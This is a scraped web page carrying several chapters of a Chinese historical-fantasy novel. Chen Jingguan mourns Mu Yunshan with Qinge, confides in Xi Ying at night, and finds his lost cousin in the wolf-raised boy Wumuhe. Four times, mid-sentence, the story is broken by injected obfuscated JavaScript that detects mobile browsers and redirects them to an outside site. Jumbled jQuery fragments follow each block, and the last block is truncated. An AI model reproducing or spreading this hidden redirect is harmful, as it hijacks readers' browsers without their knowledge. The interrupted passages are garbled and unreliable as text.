他从来没有把沁格当作别吉,当作王,在穆云山的世界里沁格只是个飒爽的女子,他只是应了陈京观的嘱托来做一份差事。 最开始他敬她无畏,后来他爱上了她的自由。 他会在朝会的时候看着沁格高谈阔论,对她露出欣慰的笑容;他会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15092622|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在沁格领兵凯旋后接过她的刀,仔细擦拭后归于原位;他腿脚不便,沁格在驯马场策马飞驰时,他就等在原地,在她下马的时候下意识扶住她。 穆云山是自卑的,这份自卑源于身体的缺陷,也源于那份由喜欢生出来的地位高低。所以他的喜欢,最初只是他一个人的事情。 直到有一天沁格下马后依旧没有松开他的手,她低着头,问他喜欢西芥吗。 “喜欢。” 沁格笑了,而她手上的动作依旧没有变,穆云山小心翼翼地侧过头看她,说出了那句“我更喜欢你。” 喜欢,是个愉快又慎重的词,沁格一直这么觉得。 当初陈京观问出“即使我不喜欢你也没关系吗”的时候,沁格就将这个词认作了世界上份量最重的爱。 穆云山说他喜欢我,沁格眼睛里闪过流星,她点头。 “我也喜欢你。” “别吉。” 苏清晓轻声叫着席英,将她的思绪拉了回来,他看出了端倪,只是他刚想开口安慰却被沁格抬手止住。 “陈京观还醒着吗?有些话我想同他说。” 得到了苏清晓的回答后,沁格头也不回地踏进了帐篷。 其实刚才的整个经过陈京观都看到了,苏清晓留给他的缝隙,恰巧能看到穆云山。 那个被他招安的土匪救了他的命,而他却因此丧命。 一时间陈京观只觉得大脑一片空白,可直觉告诉他,这不是意外。 敬安山从廊州借道往雍州走,这条路是陈京观亲自趟出来的,他对广梁的人问心无愧,他不认为这条路会有任何问题。 穆云山也是出于这个考虑,他毫无防备地走进廊州,却被人夺了性命。 问题出在哪?陈京观想不明白。 “陈京观,穆云山死了,因为你而死。” 沁格脱口而出,她哭过的眼睛微微红肿,就像是恪多要把她嫁给陈京观那晚一样。 “你要把他赔给我。” 沁格的声音有些颤抖,她原本止住的哭泣又要被这句话引出来,她努力咬着嘴唇,一步步朝陈京观走。 “对不起。” 这句“对不起”有多苍白陈京观知道,可他当下只能说出这句话,他仰头看着沁格,四目相对的时候眼睛里都是对一个人不舍。 “你知道他有多好吗?你知道他有多厉害吗?你知道他帮了我多少吗?没有他,我要花更多个五年十年去平定西芥,何谈能派出五万骑兵去救你?” 沁格一只手扶着桌子,沿着桌角慢慢滑坐下来,她双目慢慢放空,像是跌进无数个夜晚梦到的那个梦境。 “我们原打算明年在春牧场成亲的,他用他训出来十万骑兵做聘礼,整个西芥都知道他是我的爱人。陈京观,你曾经祝福我能找到一生一世一双人,我找到了啊,他却不见了,我再也见不到他了。” 沁格哭到发抖,她仰着头也挡不住眼泪的掉落,她眼前是穆云山站在不远处望着她笑,无论她做什么穆云山都支持她,无论她要怎么闹穆云山都笑着看她。 可是以后再也见不到了。 “对不起。” 陈京观又重复了一遍,他感觉自己的脸颊上也滑落一股暖流,他侧过身擦掉,转身时却对上了沁格的眼睛。 “我不后悔救你,可你别让我后悔救你。” 沁格嘴唇微微发抖,她沉默片刻后继续道:“席英方才的话或许锋利,可她问出了我们所有人的心声。陈京观,你打算怎么做?他们都不能白死的。” 陈京观点头,沁格的话像是大雨倾盆般砸在他心上。 他们都不能白死的。 “我明白,以后再也不会了。” 以后再也不会心软了,对谁都不会了。 陈京观感觉到痛了,撕心裂肺的痛,就好似那些死去的人终于将刀子插在了陈京观胸口,陈京观一遍遍说着对不起,可那刀子越插越深。 陈京观回过神来,发现执刀人是他自己。 “别吉,”陈京观顿声,“您还愿意借兵给我吗?” 沁格不说话,陈京观也默默低下了头,现在的沁格做什么决定他都接受,或许苏清晓说的没错,生活在西芥会很幸福的。 只是午夜梦回,陈京观将再难安眠。 是他自作自受罢了。 “我的兵,从来不打败仗。” 沁格擦干眼泪,铿锵作答。 “我知道,这次我只想报仇,纵使,”陈京观停顿了片刻,“踏平天下也在所不惜。” “那我就要你踏平后的天下。” 102.枯木逢春(六) “你也睡不着?” 是夜,陈京观一个人坐在篝火边,四下的营地都熄了灯,他一个人盯着眼前的火发呆。 不知是陈京观睡了太久,还是白天的事情惹得他心烦意乱,他耳边总能听到战场上的声音。烈马的嘶鸣,伤兵的呼喊,甚至是土地吸收血液后血肉疯长,纵使他闭上双眼,依旧毫无困意。 他掀开被子看了一眼腰腹处的伤口,江阮说得没错,他的确命好,那口子又深又长,好似一双手伸进了他的腹腔,可他依旧活了下来。 听平芜说,这些日子苏清晓几乎没睡,西芥在陈京观走后募了好些中原的郎中,不说医术如何,至少寻常的草药是充沛的。 而宗毓庆也抓住了这从天而降的商机,现如今西芥有一多半药材铺子都是他的产业。不过他虽说好财,却也明白君子爱财取之有道,送到西芥的东西都是明码标价、货真价实。 在陈京观住进首领账后,宗毓庆是第一个知道陈京观还活着的人,他几乎在第一时间凑齐了苏清晓需要的所有药材。 陈京观觉得,宁渡也应该知道了。 可陈京观始终没有再给宁渡去信,他希望宁渡当自己死了,他怕给宁渡惹麻烦。 陈京观想着,有些烦燥地挠了挠眉心,提溜了一件长褂出了门。 此时这问句在空无一人的草原响起,陈京观警惕地转头,看到席英朝自己走过来。 “你穿西芥的裙子还挺好看的。” 陈京观低着头笑了,而在席英眼里,她只看到陈京观脸上火舌飞窜,就好似十年前那场大火的余烬要将他重新吞了去。 见席英不说话,陈京观正了正颜色,“白天睡得太久,睡不着了。” 席英点了点头坐到了陈京观身边。 “我信。” 陈京观一时没反应过来席英的话,他扭过头看她,瞧见她也一动不动望着那篝火。 “真的,只是单纯的睡不着。” 席英没有再说话,她望着火焰的神色有一种说不出的茫然,这是陈京观第一次在她脸上看到这样的表情。 席英从来都是坚定的,无论在何种处境下她总能冷静地做出判断,可此时的她心好像空了。 “哥,”席英轻声唤陈京观,“苏清晓说,江阮可能会来找我。” 陈京观搓手的动作一滞,“嗯”了一声。 “你说,他会赢吗?” 陈京观本来还想“嗯”的,可另一个问题出现在他脑海中,他出声问道:“你觉得什么是赢?” 席英摇头,“我也不知道了。我一直以为打胜仗就是赢,可我现在发现仗是打不完的。” 说罢,席英长叹一口气,她缓缓扬起头,最后索性躺到了草地上。陈京观看了她许久,也陪她躺着。 “那如果他来找你,你会去吗?” 席英摇了摇头,“反正都赢不了。” 听着席英的话,不知为何陈京观忍不住笑出了声,他应和道:“是啊,反正都赢不了。” 这样的对话突然中断,两个人都没有继续开口的意思,反而默契地抬头望着天空。 西芥的夏夜星空璀璨,一望无际的草原在夜色中染上霜,月光则衬着水色荡漾,将天上的星星都撒到了地上。 不知过了多久,陈京观转头看了一眼席英,她闭上了眼,胸口平静地起伏。 “睡着了?” 陈京观小声自言自语,憋着笑意准备抱她去帐篷里,可席英冷不丁回了一句:“没有。” 席英重新坐起身,眼前的篝火已经只剩下跳跃的火星,她紧了紧身上的披风,整个人缩作一团。 “我不会走的。如果你身边还剩下最后一个人,那一定是我。” 席英说话时没有过多的情绪,吞吐间气息平稳,陈京观“嗯”了一声,说不出其他的话了。 “苏清晓说,不是你让我变好的,而是我本来就很好,我觉得他说得对。” “是,他说得对。” 陈京观渐渐弯了眉眼,席英继续说:“所以我不在乎你做什么决定,我只会跟着我的心作出我的决定。你救了我,而我信任你,那我就该永远和你站在一起,即使我不理解你。” 这次陈京观没有作出反应,席英侧过身面对他。 “哥,我想董叔了。” 就在一霎那,陈京观的鼻酸像是放开了他双眼的闸口,泪水涌进了他的视线,他用力抑制住眼泪的掉落。 席英没有看到他的表情,她继续自顾自地说:“董叔说要认我做干闺女来着,说要为我操办婚事,把我风风光光嫁出去。” 席英眼神闪烁,盯着被风吹动的小草,目光慢慢失焦,“那时候你们去了朔州,我就和他待在一起,他说他一辈子都想要个闺女,只可惜到最后只生了三个儿子。” “算起来,我和他待得时间不比和你短,那时候我刚进昌安营,是他和平大哥手把手教我练剑。平大哥,”席英停顿了一下,“下次回景州的时候去看看他吧。” “其实我这个人没多大抱负,给我口饭吃就行。只可惜,这世道连要饭都能让人砸了碗。” 席英很少说这么多话,而今日她说这些,更像是急切地想寻个出口,她其实不在乎对面的人是谁,她只想把心里的郁气排一排。 “人,为什么总是不能如愿呢?” 说罢,席英拍着有些麻木的双腿,她站起身后递给陈京观一只手,陈京观愣了片刻,拉住她也站起来。 “我听沁格说了,你这次当真下定决心了?人挡杀人佛挡杀佛?” 陈京观没回答,席英也没有继续问下去,她用脚扬起一层土,看着它盖在灰烬上,盖灭了最后一点光源。 “哥,你其实也没做错什么,要怪只能怪江阮心里的恨比你深,他比你更能豁得出去。” 席英说完拍了拍陈京观的肩膀,一个人转身朝营帐走去。 他在恨什么? 陈京观被席英的话困在了原地,火光消失后他彻底被黑夜掩盖,心里思来想去要寻个答案。 陈京观以为自己已经不在乎江阮做这一切的原因了,可席英一句话又将他拉了回去。 江阮能做到这个地步,这天下到底如何伤过他? 起初陈京观以为江阮只是见不得天下太平,可这是果,不是因。他周密的计划完全不像是心血来潮的产物,他的手伸到了各个国度,精准到每一个人,他在寻仇。 可到底是什么仇恨能让他与这天下相抗? 陈京观觉得应当没有一个人知道,否则那些站在他身边的人不会坦然地接受他的驱使。 那江阮的选人标准是什么? 他的确在利用人心的仇恨和欲望,可他为何能如此准确的知道每个人的过去? 突然,一个荒谬的想法出现在陈京观脑海中。 若江阮不是在钓鱼,而是在狩猎呢?那么他的棋子,同时也是他的仇人。 如此一来就说得通了,那些发生在江阮身上的不为人知的故事,就是这些人的欲望,而那些因此早已死去的人,就为他们的后辈带来的仇恨。 现在的江阮是由这些欲望和仇恨造就的,不过他反过来牵制住了这些人。 无论是哪一种,江阮都是这世界上唯一知道全部真相的人,他利用了所有人意识中的空白操控着他们自掘坟墓。 那江阮为何找上自己?陈京观眉头一皱,他能想到的原因竟然还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096058|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是陈频,陈频身上一定还有秘密和线索他没有找到。 一开始他与江阮不对等的信息差如今彻底暴露在了陈京观面前,一直四处寻找突破口的陈京观长出一口气,突然觉得心里的阴云散开了些。 从前他是那个在明处的人,他的过去一目了然,所以他被江阮牵着鼻子走,而今他是死人一个,他就可以成为这空气里的每一颗尘埃,成为天上的每一朵云,只要他想,有的是时间去调查这些,他都能查得到的。 “江阮,你总有被看透的那一天,我没来得及问出口,你没来得及说或不想说的,我总会知道的。” 陈京观释然地笑了,也是那时,天光乍破。 远处的朝阳慢慢撕开黑夜的面具,星光隐在日光下,月光式微,看着太阳一步步朝自己走过来,他身上的阴影和丑陋被一览无余,可他纹丝不动,直到最后消失在那片天空。 “阿哈,别吉叫你去帐子里吃饭。” 陈京观转头,一个半大小子出现在他面前,他点了点头,跟在那个年轻人后面。 “你叫什么名字?” 眼前的人没有转身,“乌木禾。” “有什么寓意吗?” 乌木禾低下头顿了片刻,“西芥语,活下去。” 陈京观重新把目光聚焦到眼前人的身上,他看上去不像是土生土长的西芥人,他骨架偏小,虽说长得高大,却远不如同龄西芥孩子那般壮实。 陈京观重新上下打量了一遍乌木禾,隐约在他侧过脑袋的时候看到他脖颈处有一片淡淡的粉红。 陈京观觉得有些熟悉。 “到了。” 乌木禾停下步子为陈京观把帐子拉开,看见他一直盯着自己的脖子,便伸手把领子朝上拽了拽。 陈京观收回目光,瞧见帐子里其余人都坐好了,只等他。他走进去,在角落看到了忽兰,他垂着右臂,身边还坐着一个女子,瞧见陈京观,忽兰腼腆地笑着。 “好久不见。” 陈京观微微朝忽兰鞠躬,忽兰点了点头,“是好久了,没想到还能见到你。” “坐下说吧。” 沁格打断了两人的寒暄,她示意外面的人可以上菜了。陈京观落座后又朝忽兰的方向看,才发现跟在他身后的女子是赞木琪德。 赞木琪德也认出了他,笑着朝他点头示意。 “你昨天一夜没睡?”沁格问。 “算是吧,白天睡久了,晚上怎么也睡不着。” 陈京观无奈地挠了挠头,端起面前咸茶抿了一口。 “你最近还是要注意休息,今天吃完饭我再去给你换一次药。” 苏清晓眼神里的埋怨不掩分毫,陈京观点头应道:“以后不会了,麻烦苏大夫了。” 不知怎的,陈京观觉得这顿饭的氛围很奇怪,坐在角落的忽兰时不时侧身和赞木琪德说些什么,沁格对此一言不发,她就坐在最高处,微微垂眸盯着所有人。 “快入秋了,估摸着再有小半个月我们就得拔营往木尔斯去了。” 沁格突然开口,门口候着的人应声进来收拾碗碟,苏清晓和席英对视了一眼,一齐起身告退,席英临走时还一把拽走了没吃完饭的平芜。 “不是,你再让我拿一块奶皮子。” 平芜咽下嘴里的奶茶,从帘子外探进半个身子把桌上的东西一扫而空,陈京观忍不住笑了,而他对面的忽兰和赞木琪德却直勾勾地看着他,好像试图把他看穿。 一时间屋子里的人都走得差不多了,沁格从最上头的座位上下来,坐到了陈京观旁边的位置上,她招手让赞木琪德朝前靠,陈京观一言不发地看着他们。 “方才那个小安达,你可曾留意了?” 103.枯木逢春(七) 陈京观点头,“乌木禾,我知道他的名字。” 沁格没有回答,倒是赞木琪德继续说:“那你可觉得他熟悉?” 陈京观眉头微皱,心中陡然生出个不可言喻的猜测,他抿着嘴没说话,赞木琪德道:“他是我阿布从腾里捡来的,我们是想自己养的,可奴隶家的孩子一辈子只能是奴隶,我阿布就把他交给了当时来巡边的忽兰。” 陈京观侧过头看着忽兰,忽兰点头应道:“那时候他大概四岁,不知道在沙漠里爬了多久,据说被人捡到的时候他和狼群在一起,是狼养活了他。” 陈京观回想起刚才自己盯着的那个背影,看来他的猜测没错,乌木禾身上的确有些不同寻常的地方。 “那然后呢?”陈京观问。 “我把他抱了回来,将一切与阿布说了,他只是盯着乌木禾看了很久,然后招来了自己的手下,把孩子送给了他。” 忽兰的话语焉不详,但陈京观已经猜到了七八分,他没有直接说明,而是等着忽兰继续说着乌木禾的生世。 “后来阿布去世,我整理他的信件时看到了这个。” 忽兰说着从怀里掏出一块绢布,陈京观接过来,上面的信息他很熟悉,那是萧祺栩的生辰。 “兹察说阿布托他算的,乌木禾的生辰。” 一霎,陈京观猛地抬眸看着忽兰,忽兰默默点头,继续道:“除却生辰,还有他脖子上的胎记,不过那块胎记倒是随着他长大越变越淡了。” 陈京观终于知道自己看到乌木禾脖子上那块粉红时为什么会觉得熟悉了。温浅曾在萧祺栩出生后托陈频遍寻名医想要除掉那块胎记,她怕萧霖会因为胎记而不喜欢萧祺栩。 “至于其他的,”沁格清了清嗓子,“在忽兰同我说了这些后我就开始着手调查,云山帮我找了南魏的谍子,把你父亲当时来西芥的所有情况都弄清楚了,时间地点全都对得上。” 沁格说到这顿了顿,“所以你一开始来西芥,是为了报仇吗?” 陈京观点头,“是,就为了遏佐的命。” 沁格又看了陈京观一眼,不忍叹气道:“无论如何,我还是感谢你最开始的帮助。但其实若那时候你直接应了阿布,或许你会赢得更容易些。” 沁格后半句话没说完,陈京观笑着回:“遏佐死了,这就够了。复仇是我的事,牺牲你做什么?” 沁格没说话,陈京观继续道:“可你们既然早就知道乌木禾的身世了,又为什么要一直养着他?且不说这算不算养虎为患,你们若用他换萧霖的妥协或者逼萧霖退让,总还是有用的。如果不是出于这个打算,恪多有什么要调查乌木禾的身世?” 忽兰摇头道:“萧霖这么多年从来没派人找过他,他从来都不想要这个儿子,我们把他送回去,只是让他去送死罢了。” 陈京观无言以对,他此时不想也没有立场为萧霖辩解,更何况他如今自己也拿不准萧霖的态度了。 忽兰见他没回答,仰着头长出一口气,“况且他能活着不容易。我们信奉狼为草原之王,他是狼群选中的孩子,那就是长生天选中的孩子,我们会让他活下去的,不管他是谁。” “那你们今日告诉我,是想让我怎么做?” 陈京观的目光从眼前人的脸上扫过,沁格望着他。 “我想让他做南魏的皇帝。” 沁格的话犹如春日的惊雷,那一瞬陈京观甚至开始怀疑自己的耳朵,他不解地看着沁格,嘴角微微抽搐。 “你们知道他是南魏的皇子,而你们养了他这么多年,现在选择放虎归山?” 沁格缓缓勾起嘴角,“就因为我们养了他这么多年,所以我才敢放他回去。乌木禾就像是我们一口一口喂大的狼崽,狼,是很忠诚的动物。让他成为南魏皇帝,我西芥能换来百年太平。” “你就这么确定他不会受到欲望的影响?” 沁格哑然失笑,“欲望,其实也不一定是个坏东西。” 陈京观抬头对上了沁格的视线,他觉得眼前的人短短两年变了许多,此时沁格看着他笑,他从其中看到了许多。 野心,权威,还有一丝不明就里的疯狂。 “你从何时开始计划的?” 沁格没有立刻回答,她故作思索地停顿片刻,重新拿过恪多留下的那封信。她用手划过上面的纹路,目光追随着指尖的跳动慢慢锋利,“从你为了北梁来向我们索宛达的命。” 陈京观觉得喉咙一紧,沁格倒是不以为意地笑了,“我理解,天下熙熙皆为利来,我们当时不还逼你们签了开关协议吗?” 陈京观没有回答,沁格往前探了探身子,逼着陈京观与自己对视。 “这其实也是你最好的选择,功成名就之后,陈频的一切冤屈将以萧祺栩的口吻澄清,他是如今这这世界上最有说服力的人。” 是啊,作为是唯一的幸存者,如果再成为南魏的掌权人,届时的萧祺栩能将陈频彻底洗白。 “你要的,只是简单的太平吗?” 陈京观没有顺着沁格的话说,他反问道。沁格脸上的表情意味不明,她饶有兴趣地盯着陈京观,“我说过,我要你踏破后的天下。” 说罢,沁格挺起腰慢慢站起身,此时的她没有了与陈京观平视时的亲切感,陈京观微微仰头看她,看到的是一个真正的王。 “当然,这一切我也可以不借你的手,等萧霖死的那天我会亲自送萧祺栩去他该去的位置。只是那时,就没有南魏了。” 沁格仰着头,明明她嘴里说出来的话决定着一个国家乃至未来天下的命运,可她的表情,她的语气没有丝毫变化,就仿佛在同陈京观谈论早上的饭好不好吃。 陈京观犹豫片刻也站起身,他走到沁格对面,“那你为什么还要同我讲这些?” 沁格脸上笑意渐浓,“我不想让善良的人输得太惨。” 见陈京观不说话,沁格继续道,“这天下所有人都说好人不长命,可我偏不信。陈京观,那时候你拉了我一把,我现在便向你伸出手,我要你记得,只要你还是最初那个陈京观,我就会同你站在一起。这是你种下的因果。” 这一刻,陈京观想到了自己第一次来西芥时的场景,以及他对沁格说的那句话。 “我的盟友,是西芥的别吉。” 沁格看着他笑了,她知道陈京观明白了她的意思。 陈京观的这句话,在沁格无数个濒临崩溃的时候撑着她,无论是藩王逼宫,是蛮族反叛,亦或者是连年天灾,沁格都坚信自己一定能撑下去,因为她是西芥的别吉。 她是自己的玄鸟。 那时候忽兰刚让位,遏佐的余孽借着宛达之死三番五次到原恪多部边境挑衅,他们看不上沁格是个女人,他们觉得女人只能被藏在帐子里生孩子。 沁格不服,她也没有想过要忍下来,可她身边追随她的除却恪多的老部下,只有她下令赦免的那些妇孺。 沁格不想让这些犹如惊弓之鸟的女子上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15100842|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战场,她们在沉默和漠视中活了半辈子,沁格做不到让她们死在刚升起的太阳里。 况且,她们习惯将自己当作男人的影子,那些刻在骨子里的奴性和卑微在她们身上落下病根,沁格是恪多捧在手心里养大的玫瑰,可这些女子不是,在她们的脑海中从来没有对男人的忤逆。 人永远无法战胜自己的思想。 沁格没有感觉到愤怒,却从心底爬上挥之不去的可悲。 于是沁格带着大家离开了恪多部,一路北上回到了木尔斯草原。在那里,沁格是草原的王,她像是回归天地的野马,而她的部落天生对女子有不一样的认识。 慢慢的,那些被沁格带回木尔斯草原的女子开始结伴出游,开始研究妆发,开始谈论过去从未敢开口的事情,她们直白地看着英俊的年轻人,她们开始从事狩猎和牧马的工作,她们在一片包容里寻找自己。 终于,短短一年后沁格带着全新的西芥骑兵队打回了岭扬江下游,无数身披红色铠甲的女子亲手终结了过去的噩梦,她们的马下臣服着过去的屈辱,她们在马上高昂头颅。 也是那时候沁格明白了,任何人想要征服天下,她首先要征服人心。 这之后的半年多时间,整个西芥重新洗牌。大大小小各色部落群起,可没有人再对沁格产生异议。 与男人的政权不同,坐在高位上的是天生拥有母性的女子,她对权力的渴望全部在于子民富饶,她不需要时刻用暴政苛政来彰显自己的威严。 与其说沁格要的是权力,倒不如说她喜欢权力带给她的自由。 而获得了这一切的沁格,在某个月明星稀的夜晚想到了陈京观说的这句话。 在那之前,沁格无法忽略心中对于陈京观这句话的依赖,她会在无路可走的时候本能的想到陈京观或许会来帮她,只因为她还是西芥的别吉,她还撑着一口气等着援兵。 可在经历了这许多之后,沁格终于明白了,她能坚持到现在从来不是因为陈京观给自己的求援信号,而是那一声声“别吉”,是她的子民,是她骨子里对命运不公的抗争。 陈京观让她明白了这世上最可靠的盟友就是她自己。 “沁格,你会是一个好帝王。” 陈京观说罢,突然释然地笑了,他向沁格伸出手,致以她南魏最高的敬意。 “可能只有一个人不认为自己是王时,她才能真正掌握权力而不是被权力吞噬。那王座很聪明,它看得到每个人的内心,它会替长生天杀死所有自私的人。” 沁格伸手扶起了忽兰,朝赞木琪德微微点头,赞木琪德先带着忽兰离开了营帐。 “陈京观,如果你有一刻怀疑过你曾经做过的善事,你都对不起我对你的信任。” 说完,沁格和陈京观相视一笑,他们的笑声透过帘子传到外面,随着渐起的秋风飘到马棚,越过军营,穿过牧区,到达了西芥的每一块土地。 此时站在营帐外的乌木禾,或者说萧祺栩,当然也听到了。他低头朝忽兰行礼,踟蹰在帐前不敢行动。 “进去吧,他是你的阿哈啊。” 忽兰的左手抚着乌木禾的脊背,少年人的紧张透过掌心传递给忽兰,忽兰笑着说:“他很想你,他也很爱你的。” “真的吗?他们真的没有不要我吗?” 忽兰的目光只一秒闪烁,随后他坚定地看着乌木禾。 “任何人都可能不要你,陈京观不会的,你是他在这世上唯一的亲人了。” 104.陈春杳杳(一) 乌木禾揭了帘子走进去,瞧见沁格朝他微微点头,她身边,站着背朝门口的陈京观。 不知道是不是他的错觉,乌木禾感觉陈京观在躲着自己,他不敢看自己。 “别吉。” 乌木禾向沁格行礼,沁格偏过头看了一眼陈京观,眼前的人别扭地站着,脸上竟然还出现一丝紧张。 沁格无奈地摇头笑了,她迈着步子朝帐外走,路过乌木禾的时候伸手捏了捏他的肩膀。 “记住,无论如何你都是西芥的孩子。” 乌木禾怔住了,沁格没有等他的回答径直离开了帐篷。 此时,这小小的帐篷好似隔绝了整个世界,陈京观听不到任何声音,也感觉不到空气流动,他起伏的胸口是他还在呼吸的唯一证据。 “那个……” 两个人同时开口。 “你都知道了?” 乌木禾没有给陈京观再说话的机会,他直接走过去站到了陈京观对面。 虽然他与现在的陈京观相处的时间不算长,可乌木禾觉得陈京观和那个模糊印象中的哥哥是不一样了,现在的陈京观有一种他说不上来的沉默,就好像心里的事情多到堵住了他的嘴。 按理来说乌木禾离开阙州时堪堪四岁,应该是记不得什么了,可在他的记忆里一直有双湿热的手,带着他走遍了崇明殿。 他觉得那个人是陈京观,或者说陈家独子陈景豫。 “嗯,沁格都同我说了,”陈京观抬头的时候挂着笑容,“这些年,你辛苦了。” “西芥对我很好。” 乌木禾的回答不假思索,陈京观便又说不出话了,他轻轻点头应和着“那就好”,头却又低了下去。 “你呢,这些年是怎么过的?” 陈京观没有立刻回答,他原本也想脱口而出一句“很好”,可是他又觉得虚伪。 如果他过的真的很好,他何至于到靠假死脱身的地步?他那句“很好”,说出来只会让他显得像一个争强好胜的孩子,他觉得没必要。 “我当年跑到雍州被师父买走了,他对我很好,教了我很多,他没有妻儿,他把我当作自己的儿子。” 陈京观说着,脸上的表情直白地告诉乌木禾这一切都是真的,陈京观提到宁渡的时候不自觉的语气放软,甚至能听到一丝眷恋。 “那就好,至少我们都活下来了。” 陈京观点头,“嗯,活下去。” 起初乌木禾还没有反应过来,片刻后他意识到陈京观是在回应他之前说的话,少年人腼腆地笑了,身上的紧张也消减了几分,他不自觉朝陈京观靠了靠。 “哥。” 陈京观身子一颤,他听到乌木禾继续道:“姨夫是很好的人,他到死都护着我。当初遏佐是要斩草除根的,他把我放到了狼群的狩猎场,只是谁也没想到,狼竟比人更有人情味。” 乌木禾说到这不禁叹气,可转瞬又挂上笑脸,“后来我听阿布说,是因为我身上的死人味太重了,狼更喜欢新鲜而有挑战的猎物,所以它们放了我一码。” 乌木禾说着,朝陈京观旁边的椅子靠过去,他斜倚在椅背上伸手卸下了绑在大腿上的匕首,在刀柄处,陈京观看到一个小哨子。 “这是忽兰哥给我的狼哨,他托兹察教我与狼□□流。他说在草原上拥有军队不能称得上草原的王,能让狼群低头的,才是长生天认下的首领。” 乌木禾说话时一直摩挲着那根银灰色的哨子,他抬头发现陈京观正看着自己,便伸手把哨子递了过去。 “当初别吉领兵讨伐蛮族,那是我第一次用这把哨子。西芥的王牌是铁骑,战马是一切的根本,可那天我才发现,在动物天性的驱使下,任何后天的训练都是徒劳。天敌之所以能称为天敌,是因为它们在血脉里就有不可战胜的能力。” 陈京观侧过头看乌木禾,他好似沉浸在脑海中的画面里,没有理会陈京观带有诧异和惊喜的目光。 “可是人和人之间并不存在这种与生俱来的差异。” 乌木禾的话戛然而止,他转身对上了陈京观的目光。 “无论对面是萧霖,是崇宁,是江阮,是任何人,只要他是人,他都会有弱点,他都会有被战胜的一天,我相信只是时机未到。” 乌木禾提到萧霖的时候情绪毫无波澜,就像是提到了一个无关紧要的人,陈京观抿了抿嘴,什么也没说。 的确,在乌木禾的视角下,萧霖是让他背井离乡的凶手,是害死自己母亲的凶手,是亲手将他送到狼群里的凶手,他该恨他,萧霖在萧祺栩这里没有解释的余地。 陈京观更没有替他选择原谅的立场。 “小栩,”陈京观叫出口后突然顿住,他轻声问,“我可以这样叫你吗?” 乌木禾毫不在意地笑着,“当然,我还要靠萧祺栩这个名字回到属于我的地方去。更何况,‘栩’是母亲为我选的字。” 陈京观点头,“你真的想好了,走出这一步之后你就没有回头路了。沁格是说了西芥永远是你的家,可鱼和熊掌不可兼得,只要你踏进南魏的朝堂,无论是输是赢你都没有可能再回到西芥了。” 乌木禾低着头,陈京观看不到他的表情,只觉得他的眉眼似乎颤动了一下,那动作之小让陈京观怀疑是自己看错了。 陈京观所说的乌木禾当然明白,从沁格向他坦白的那一天起,他无时无刻不再思考这个问题,他甚至觉得从那天起他再看到沁格,已经不知道要如何面对她了。 沁格说能让他一辈子快乐地生活在西芥,他信,可沁格既然选择把这一切都告诉他,那她的目的不言而喻。 在如今的分裂割据下,且不论突然出现的东亭,只说南北两国的继承人,他们将在很大程度上决定这天下还能太平多久。北方的元衡是个不确定因素,可他的儿子元焕却与他不同,元焕身上带着陆家的慈悲。 那便只剩下南魏,沁格作为西芥的王,从她继位那天起她的心思就不可能只放在个人感情上了。 一旦萧祺栩能顺利登基,沁格至少能保证南魏在一般情况下不会主动与自己挑起战争。 沁格相信她的铁骑,但她更愿意为子民谋个太平,谋个长久些的太平。 这天下打了太久的仗,近五十年来大国小国分分合合,你方唱罢我登场,人们对于战争渐渐趋向麻木,和平好像成了奢望。 可沁格不愿意,她觉得自己既然能救的了西芥的女子,就能救的了天下黎民,即使他们最终不是归属于自己。 沁格明白,只有整个世界和平,她的西芥才能永远是美好的。 沁格的所有心思,都在与乌木禾谈论他身世的那天对他和盘托出。 或许正因为沁格的绝对信任,让乌木禾彻底下定决心。 “哥,不能再打仗了,任何地方都不能再打仗了。可你我都明白,人的野心是不会被轻易击碎的,只有被现实踩在脚底下的时候,人才会认命。我想打一场一劳永逸的仗。” 乌木禾言辞恳切,“即使今日我留在西芥,他日南魏,北梁,或者任何一个突然出现的政权都有可能打乱我的生活,我不想等到那一天再追悔莫及。” 乌木禾盯着陈京观的眼睛,“哥,你后悔吗?放弃了原本安乐的日子,放弃了来之不易的家,换来了今天的下场。” 陈京观的喉头微微震颤,乌木禾继续道:“这世上有些事情不是只用输赢二字就能评价的,我们都希望能得到个好结果,可什么是好的?你一路上的所作所为,你后悔吗?哪怕只是延缓了他们的死亡,你后悔吗?” 我后悔吗?陈京观已经数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈京观的死讯跟着陆栖野回到了北梁,他身后是第一次打了败仗的昌安军,他原本想着先回澄州禀报,可他甚至找不到一个见元衡的理由。 